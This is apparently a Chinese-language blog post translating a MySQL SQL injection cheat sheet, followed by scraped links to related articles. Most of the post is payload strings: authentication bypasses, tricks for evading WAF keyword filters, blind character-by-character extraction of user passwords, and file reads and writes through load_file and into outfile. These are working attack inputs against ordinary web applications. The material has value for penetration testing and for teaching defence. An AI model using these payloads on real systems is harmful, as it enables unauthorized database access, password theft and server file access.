安全测试===Mysql 注入技巧学习 MySQL注入技巧(2)
原文地址:http://websec.files.wordpress.com/2010/11/sqli2.pdf
0x00、介绍
也可以参考瞌腄龙的mysql注入科普:http://drops.wooyun.org/tips/123
很多东西都是一样的,但是有一些小技巧确实很使用。
以下所有技巧都只在mysql适用,因为它太灵活了
0x01 MYSQl灵活的语法
1 MySQL语法以及认证绕过
注释符:
#,
-- X(X为任意字符)
/*(MySQL-5.1)
;%00
'
'or 1=1;%00
'or 1=1 union select 1,2''
'or 1=1 #
'/*!50000or*/ 1=1 -- - //版本号为5.1.38时只要小于50138
'/*!or*/ 1=1 -- -
前缀:
任意混合 + - ~ !
'or --+2=- -!!!'2
测试后发现and/or后面可以跟上偶数个!、~可以替代空格,也可以混合使用(混合后规律又不同),and/or前的空格可以省略
'or- -!!!1=1;
运算符:
^, =, !=, %, /, *, &, &&, |, ||, <, >, <<, >>, >=, <=, <>, <=>, XOR,DIV, SOUNDS LIKE, RLIKE, REGEXP, IS, NOT, BETWEEN,……
'or 1 rlike '1
空格替换:%20, %09, %0a, %0b, %0c, %0d, %a0
也可以插入括号,前缀,操作符,引号
'or+(1)sounds/**/like"1"--%a0-
字符串格式
' or "a"='a'
' or 'a'=n'a' //unicode
' or 'a'=b'1100001' //binary
' or 'a'=_binary'1100001' //5.5.41下测试无效
' or 'a'=x'61' //16进制
2、MySQL常用的一些小工具
常量:true, false, null, \N, current_timestamp....
变量:@myvar:=1
系统变量:@@version, @@datadir....
常用函数:version(), pi(), pow(), char(), substring()....
3、MySQL类型转换
' or 1=true #true=1, false=0
' or 1 #true
' or version()=5.5 #5.5.41-log
' or round(pi(),1)+true+true+0.4=version() #3.1+1+1+0.4
select * from users where 'a'='b'='c'
select * from users where ('a'='b')='c'
select * from users where (false)='c'
select * from users where (0)='c'
select * from users where (0)=0
select * from users where true
select * from users
以上的语句都是同样的效果
4、认证绕过
绕过语句:'='
select data from users where name="="
select data from users where flase="
select data from users where 0=0
绕过语句:'-'
select data from users where name=''-''
select data from users where name=0-0
select data from users where 0=0
0x02 关键字过滤
空格
过滤代码/\s/
%20, %09, %0a, %0b, %0c, %0d, %a0
关键字OR,AND
过滤代码/\sor\s/i,/\sand\s/i
'||1='1 #or
'='
'&&1='1 #and
关键字union select
过滤代码/union\s+select/i
'and(true)like(false)union(select(pass)from(users))#
'union [all|distinct] select pass from users#
'union%a0select pass from users#
'union/*!select*/pass from users#
/vuln.php?id=1 union/*&sort=*/select pass from users-- -
如果单独过滤union,使用盲注来获取数据
'and(select pass from users limit 1)='secret
通过子查询获取单值来进行比较
关键字limit
过滤代码/limit/i
'and(select pass from users where id=1)='a
'and(select pass from users group by id having id=1)='a
'and length((select pass from users having substr(pass,1,1)='a'))
关键字having
过滤代码/having/i
'and(select substr(group_concat(pass),1,1)from users)='a
关键字select ... from
过滤代码/SELECT\s+[A-Za-z.]+\s+FROM/i/i
select [all|distinct] pass from users
select'table_name'from'information_schema' . 'tables'
select pass as alias from users
select pass aliasalias from users
select pass'alias alias'from users
select+pass%a0from(users)
关键字select
过滤代码/select/i
1 有文件读取权限
' and substr(load_file('file'),locate('DocumentRoot',(load_file('file')))+
length('DocumentRoot'),10)='a'='' into outfile '/var/www/dump.txt
2 获取列名
' and 列名 is not null#
' procedure analyse()#
使用substr来做过滤条件
'and substr(pass,1,1)='a
关键字select,and,&
'0#
select data from users where name = ''-0 # int typecast
select data from users where name = 0 # int typecast
select data from users where 0 = 0 # true
'-1#
select data from users where 0 = -1 # false
使用条件判断来进行true、false的选择
ifnull(nullif()), case when, if()
'-if(name='Admin',1,0)#
使用嵌套条件'-if(
if(name='Admin',1,0), // condition
if(substr(pass,1,1)='a',1,0) // if true
,0)# // if false
0x03 函数过滤
构建字符串相关函数
unhex char hex ascii ord substr substring mid pad left right insert
' and substr(data,1,1) = 'a'#
' and substr(data,1,1) = 0x61# 0x6162
' and substr(data,1,1) = unhex(61)# unhex(6162)
' and substr(data,1,1) = char(97)# char(97,98)
' and hex(substr(data,1,1)) = 61#
' and ascii(substr(data,1,1)) = 97#
' and ord(substr(data,1,1)) = 97#
使用conv来进行进制的转换
' and substr(data,1,1) = lower(conv(10,10,36))# 'a'
' and substr(data,1,1) = lower(conv(11,10,36))# 'b'
' and substr(data,1,1) = lower(conv(36,10,36))# 'z'
使用函数来猜解数据
' and substr(data,1,1) = 'a'#
' and substring(data,1,1) = 'a'#
' and mid(data,1,1) = 'a'#
不适用逗号来获取
' and substr(data from 1 for 1) = 'a'#
同样也可以使用一下比较少见的函数来尝试绕过
lpad(data,1,space(1)) // lpad('hi',4,'?') = '??hi'
rpad(data,1,space(1)) // rpad('hi',4,'?') = 'hi??'
left(data,1)
reverse(right(reverse(data),1))
insert(insert(version(),1,0,space(0)),2,222,space(0))
有些函数有类似搜索匹配的功能
'-if(locate('f',data),1,0)#
'-if(locate('fo',data),1,0)#
'-if(locate('foo',data),1,0)#
instr(), position()
使用函数进行字符串的切割
length(trim(leading 'a' FROM data)) # length will be shorter
length(replace(data, 'a', '')) # length will be shorter
2种方式都是相同效果
0x04 注入时主要使用的一些东西
1个控制流程操作(select, case, if(), ...)
1个比较操作(=, like, mod(), ...)
1个字符串的猜解(mid(), left(), rpad(), …)
1个字符串生成(0x61, hex(), conv())
使用conv([10-36],10,36)可以实现所有字符的表示
false !pi() 0 ceil(pi()*pi()) 10 A ceil((pi()+pi())*pi()) 20 K
true !!pi() 1 ceil(pi()*pi())+true 11 B ceil(ceil(pi())*version()) 21 L
true+true 2 ceil(pi()+pi()+version()) 12 C ceil(pi()*ceil(pi()+pi())) 22 M
floor(pi()) 3 floor(pi()*pi()+pi()) 13 D ceil((pi()+ceil(pi()))*pi()) 23 N
ceil(pi()) 4 ceil(pi()*pi()+pi()) 14 E ceil(pi())*ceil(version()) 24 O
floor(version()) 5 ceil(pi()*pi()+version()) 15 F floor(pi()*(version()+pi())) 25 P
ceil(version()) 6 floor(pi()*version()) 16 G floor(version()*version()) 26 Q
ceil(pi()+pi()) 7 ceil(pi()*version()) 17 H ceil(version()*version()) 27 R
floor(version()+pi()) 8 ceil(pi()*version())+true 18 I ceil(pi()*pi()*pi()-pi()) 28 S
floor(pi()*pi()) 9 floor((pi()+pi())*pi()) 19 J floor(pi()*pi()*floor(pi())) 29 T
更多详细的东西可以参考原文去了解,还有一些其他的注入资料可以参考
http://www.ptsecurity.com/download/PT-devteev-CC-WAF-ENG.pdf
https://media.blackhat.com/bh-us-12/Briefings/Ristic/BH_US_12_Ristic_Protocol_Level_Slides.pdf
http://www.blackhatlibrary.net/SQL_injection
http://websec.ca/kb/sql_injection
安全测试===Mysql 注入技巧学习 MySQL注入技巧(2)的更多相关文章
- Spring.NET依赖注入框架学习--简单对象注入
Spring.NET依赖注入框架学习--简单对象注入 在前面的俩篇中讲解了依赖注入的概念以及Spring.NET框架的核心模块介绍,今天就要看看怎么来使用Spring.NET实现一个简单的对象注入 常 ...
- 安全测试===Mysql 注入技巧学习 MySQL注入技巧(1)
默认存在的数据库: mysql 需要root权限读取 information_schema 在5以上的版本中存在 测试是否存在注入方法 假:表示查询是错误的 (MySQL 报错/返回页面与原来不同) ...
- mysql存储过程的学习(mysql提高执行效率之进阶过程)
1:存储过程: 答:存储过程是sql语句和控制语句的预编译集合,以一个名称存储并作为一个单元处理:存储过程存储在数据库内,可以由应用程序调用执行,而且允许用户声明变量以及进行流程控制,存储类型可以接受 ...
- Java工程师学习指南第7部分:重新学习MySQL与Redis
本文整理了微信公众号[Java技术江湖]发表和转载过的Mysql和Redis相关优质文章,想看到更多Java技术文章,就赶紧关注本公众号吧吧. 大白话说说mysql 面试官:给我说说你平时是如何优化M ...
- MySQL 定时器EVENT学习
原文:http://blog.csdn.net/lifuxiangcaohui/article/details/6583535 MySQL 定时器EVENT学习 MySQL从5.1开始支持event功 ...
- 重新学习MySQL数据库11:以Java的视角来聊聊SQL注入
本文转自互联网 本系列文章将整理到我在GitHub上的<Java面试指南>仓库,更多精彩内容请到我的仓库里查看 https://github.com/h2pl/Java-Tutorial ...
- 【漏洞汇总】SQL 注入漏洞之 mysql
日期:2019-07-23 19:55:59 更新:2019-08-02 10:40:37 作者:Bay0net 介绍:Mysql 注入笔记 0x01. 基本信息 1.1 基本术语 数据库: 数据库是 ...
- mysql的floor()报错注入方法详细分析
刚开始学习sql注入,遇见了 select count(*) from table group by floor(rand(0)*2); 这么条语句.在此做个总结. (更好的阅读体验可访问 这里 ) ...
- 2019-9-10:渗透测试,基础学习,sql注入笔记
sql注入1,万能密码,自己写的网站,找到登录窗口,必须和数据库交互,往里插入构造的恶意代码,最后可以直接登录进去,不需要账号和密码,输入的恶意代码成为万能密码,后端拼接的sql语句,SELECT * ...
随机推荐
- 孤荷凌寒自学python第七十二天开始写Python的第一个爬虫2
孤荷凌寒自学python第七十二天开始写Python的第一个爬虫2 (完整学习过程屏幕记录视频地址在文末) 今天在上一天的基础上继续完成对我的第一个代码程序的书写. 直接上代码.详细过程见文末屏幕录像 ...
- CVPR2018: Generative Image Inpainting with Contextual Attention 论文翻译、解读
注:博主是大四学生,翻译水平可能比不上研究人员的水平,博主会尽自己的力量为大家翻译这篇论文.翻译结果仅供参考,提供思路,翻译不足的地方博主会标注出来,请大家参照原文,请大家多多关照. 转载请务必注明出 ...
- Gitlab自动触发Jenkins构建项目
Gitlab自动触发Jenkins构建项目 一.前提 Gitlab已安装配置好. Jenkins已安装Gitlab plugin. 二.配置jenkins中Job 1.勾选触发器下的gitlab触发器 ...
- 如何控制DBGrid里面显示的浮点数小数点后的位数?
现在dbgrid里面显示的位数太多,有10几位,根本没办法看.请问怎么设置能控制小数点后的位数呢?在c语言里面是 %7.2f就可以了,可惜不知道dephi里面怎么做啊谢谢各位指点 方法1: 把那些 ...
- tomcat 路径"/"表示根目录
- sql 先查出已知的数据或者需要的数据再筛选
sql 先查出已知的数据或者需要的数据再筛选
- 深入理解Netscaler INat
深入理解Netscaler INat http://blog.51cto.com/caojin/1898173 Netscaler的INat主要是用作基于目的地址的转换,将client访问的公网IP通 ...
- 排查nginx、tomcat内存和服务器负载之后
最近客户现在提出系统访问非常慢,需要优化提升访问速度,在排查了nginx.tomcat内存和服务器负载之后,判断是数据库查询速度慢,进一步排查发现是因为部分视图和表查询特别慢导致了整个系统的响应时间特 ...
- BZOJ3289 Mato的文件管理 【莫队 + 树状数组】
3289: Mato的文件管理 Time Limit: 40 Sec Memory Limit: 128 MB Submit: 3964 Solved: 1613 [Submit][Status] ...
- 无人值守安装linux系统
需要使用到的服务:PXE + DHCP+TFTP+ Kickstart+ FTP KickStart是一种无人职守安装方式 执行 PXE + KickStart安装需要准备内容: • DHCP 服务 ...